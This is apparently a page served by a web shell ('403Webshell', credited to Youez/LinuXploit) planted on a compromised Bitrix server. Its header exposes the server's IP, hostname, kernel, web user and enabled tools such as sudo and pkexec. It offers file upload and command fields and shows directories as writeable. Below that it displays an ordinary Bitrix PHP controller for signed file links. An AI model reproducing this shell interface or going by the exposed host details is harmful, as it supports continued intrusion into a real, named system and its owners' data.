403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/controller/file.php
<?php

namespace Bitrix\Bizproc\Controller;

use Bitrix\Main;
use Bitrix\Main\Engine\Response\BFile;
use Bitrix\Main\Error;

class File extends Base
{
	private const TOKEN_SALT = 'bizproc.file.show';

	public function configureActions(): array
	{
		$configureActions = parent::configureActions();
		$configureActions['show'] = [
			'-prefilters' => [
				Main\Engine\ActionFilter\Csrf::class,
				Main\Engine\ActionFilter\Authentication::class,
			],
			'+prefilters' => [
				new Main\Engine\ActionFilter\CloseSession(),
			]
		];

		return $configureActions;
	}

	public function showAction($token)
	{
		[$fileId] = self::extractToken($token);
		$file = null;

		if ($fileId)
		{
			$file = \CFile::getFileArray($fileId);
		}

		if (!$file)
		{
			$this->addError(new Error('No file'));
			return null;
		}

		return BFile::createByFileData($file);
	}

	public static function getPublicLink(int $fileId): string
	{
		return Main\Engine\UrlManager::getInstance()->create(
			'bizproc.file.show',
			[
				'token' => static::generateToken($fileId),
			],
			true
		)->getUri();
	}

	private static function generateToken(int $fileId)
	{
		$signer = new Main\Security\Sign\Signer;
		return $signer->sign((string) $fileId, self::TOKEN_SALT);
	}

	private static function extractToken(string $token): array
	{
		$signer = new Main\Security\Sign\Signer;

		try
		{
			$unsigned = $signer->unsign($token, self::TOKEN_SALT);
			$result = [$unsigned];
		}
		catch (\Exception $e)
		{
			$result = [null];
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit